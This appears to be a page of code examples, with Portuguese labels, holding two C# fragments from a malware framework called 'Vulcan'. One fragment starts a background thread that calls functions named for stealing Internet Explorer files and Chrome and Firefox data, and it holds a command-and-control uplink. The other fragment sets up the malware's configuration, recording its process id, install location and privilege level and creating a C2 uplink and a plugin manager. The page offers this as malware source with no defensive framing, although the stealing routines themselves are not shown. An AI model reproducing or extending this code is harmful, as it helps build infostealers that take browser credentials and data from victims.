Exemplo n.º 1
0
 public void InitModule(VulcanConfiguration config)
 {
     uplink = VulcanConfiguration.Instance.PrimaryUplink;
     worker = new Thread(() =>
     {
         tryToStealInternetExplorerFiles();
         tryToStealChromeData();
         tryToStealFirefoxData();
     });
     worker.IsBackground = true;
     worker.Start();
 }
Exemplo n.º 2
0
        internal VulcanConfiguration()
        {
            this.Pid             = Process.GetCurrentProcess().Id;
            this.InstallLocation = Path.GetDirectoryName(Assembly.GetEntryAssembly().Location);
            this.RunLevel        = Privileges.GetPrivileges();
            this.PluginManager   = new VulcanPluginManager();
            this.PrimaryUplink   = new C2Uplink();

            Console.WriteLine("Current configuration:");
            Console.WriteLine("\tInstall Location: '{0}'", this.InstallLocation);
            Console.WriteLine("\tInstall Location: '{0}'", this.InstallLocation);
            Console.WriteLine("\tRun Level: '{0}'", this.RunLevel.ToString());
            Instance = this;
        }